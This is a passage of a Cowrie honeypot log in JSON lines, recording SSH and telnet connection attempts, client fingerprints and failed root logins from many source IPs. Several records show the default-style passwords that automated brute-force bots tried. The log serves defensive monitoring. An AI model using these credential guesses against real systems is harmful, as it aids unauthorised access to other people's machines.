llman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:38.229738Z","src_ip":"165.154.227.158","session":"a011a9f5c8b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"by","message":"login attempt [root/by] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:39.162045Z","src_ip":"165.154.227.158","session":"a011a9f5c8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:40.395305Z","src_ip":"165.154.227.158","session":"a011a9f5c8b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56410,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc42f147d6d","protocol":"telnet","message":"New connection: 152.42.224.71:56410 (10.17.0.5:23) [session: efc42f147d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:41.928695Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b204d799dd6e","protocol":"telnet","message":"New connection: 152.42.224.71:56416 (10.17.0.5:23) [session: b204d799dd6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:42.354882Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62562,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f9c219eabc","protocol":"ssh","message":"New connection: 152.42.212.128:62562 (159.203.135.109:22) [session: 16f9c219eabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:42.600485Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:42.605916Z","src_ip":"152.42.212.128","session":"16f9c219eabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:42.609211Z","src_ip":"152.42.212.128","session":"16f9c219eabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.192594051361084,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:43.654252Z","src_ip":"152.42.224.71","session":"db3fd7e71b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":59682,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb04e458232","protocol":"ssh","message":"New connection: 119.96.193.72:59682 (10.17.0.5:22) [session: dbb04e458232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:44.036115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:44.041005Z","src_ip":"119.96.193.72","session":"dbb04e458232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:44.303770Z","src_ip":"119.96.193.72","session":"dbb04e458232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19691969","message":"login attempt [root/19691969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:46.124653Z","src_ip":"119.96.193.72","session":"dbb04e458232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.750325202941895,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:48.835193Z","src_ip":"152.42.224.71","session":"3bdcb3be41b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46204,"dst_ip":"10.17.0.5","dst_port":23,"session":"c929788f28c6","protocol":"telnet","message":"New connection: 152.42.224.71:46204 (10.17.0.5:23) [session: c929788f28c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:50.745778Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32e393f69aa","protocol":"telnet","message":"New connection: 152.42.224.71:46206 (10.17.0.5:23) [session: a32e393f69aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:56.542172Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58406,"dst_ip":"10.17.0.5","dst_port":23,"session":"a593388d5691","protocol":"telnet","message":"New connection: 152.42.224.71:58406 (10.17.0.5:23) [session: a593388d5691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:32:57.695431Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebee0207b9fb","protocol":"ssh","message":"New connection: 52.236.56.129:44020 (10.17.0.5:22) [session: ebee0207b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:00.557843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:00.563277Z","src_ip":"52.236.56.129","session":"ebee0207b9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:00.631490Z","src_ip":"52.236.56.129","session":"ebee0207b9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerty","message":"login attempt [root/1234qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:00.932495Z","src_ip":"52.236.56.129","session":"ebee0207b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:02.007325Z","src_ip":"52.236.56.129","session":"ebee0207b9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":51852,"dst_ip":"10.17.0.5","dst_port":22,"session":"581886d03b95","protocol":"ssh","message":"New connection: 117.121.214.50:51852 (10.17.0.5:22) [session: 581886d03b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:03.396370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:03.405569Z","src_ip":"117.121.214.50","session":"581886d03b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:03.659066Z","src_ip":"117.121.214.50","session":"581886d03b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@123","message":"login attempt [root/cisco@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:04.697099Z","src_ip":"117.121.214.50","session":"581886d03b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58408,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a84df8b75c","protocol":"telnet","message":"New connection: 152.42.224.71:58408 (10.17.0.5:23) [session: 97a84df8b75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:05.664104Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:05.953203Z","src_ip":"117.121.214.50","session":"581886d03b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":41054,"dst_ip":"10.17.0.5","dst_port":22,"session":"902c02aba5b4","protocol":"ssh","message":"New connection: 103.75.183.219:41054 (10.17.0.5:22) [session: 902c02aba5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:06.100255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:06.105806Z","src_ip":"103.75.183.219","session":"902c02aba5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:06.354801Z","src_ip":"103.75.183.219","session":"902c02aba5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345d","message":"login attempt [root/12345d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:07.101211Z","src_ip":"103.75.183.219","session":"902c02aba5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:08.352916Z","src_ip":"103.75.183.219","session":"902c02aba5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.48899793624878,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:10.367730Z","src_ip":"152.42.224.71","session":"14f5593a2be3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":42890,"dst_ip":"159.203.135.109","dst_port":22,"session":"52c703a0681f","protocol":"ssh","message":"New connection: 103.75.182.198:42890 (159.203.135.109:22) [session: 52c703a0681f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:18.011481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:18.018325Z","src_ip":"103.75.182.198","session":"52c703a0681f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:18.266314Z","src_ip":"103.75.182.198","session":"52c703a0681f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77777","message":"login attempt [root/77777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:19.037471Z","src_ip":"103.75.182.198","session":"52c703a0681f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.70241975784302,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:19.630984Z","src_ip":"152.42.224.71","session":"efc42f147d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:20.286623Z","src_ip":"103.75.182.198","session":"52c703a0681f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":57122,"dst_ip":"10.17.0.5","dst_port":22,"session":"f35366226f74","protocol":"ssh","message":"New connection: 166.1.144.134:57122 (10.17.0.5:22) [session: f35366226f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:25.449498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:25.454293Z","src_ip":"166.1.144.134","session":"f35366226f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:25.555487Z","src_ip":"166.1.144.134","session":"f35366226f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voip123","message":"login attempt [root/voip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:25.996197Z","src_ip":"166.1.144.134","session":"f35366226f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35502,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2e00943c4e","protocol":"telnet","message":"New connection: 152.42.224.71:35502 (10.17.0.5:23) [session: ee2e00943c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:26.491346Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:27.100701Z","src_ip":"166.1.144.134","session":"f35366226f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"155de42c078e","protocol":"ssh","message":"New connection: 43.135.139.74:40228 (10.17.0.5:22) [session: 155de42c078e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:33.133028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:33:33.137714Z","src_ip":"43.135.139.74","session":"155de42c078e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 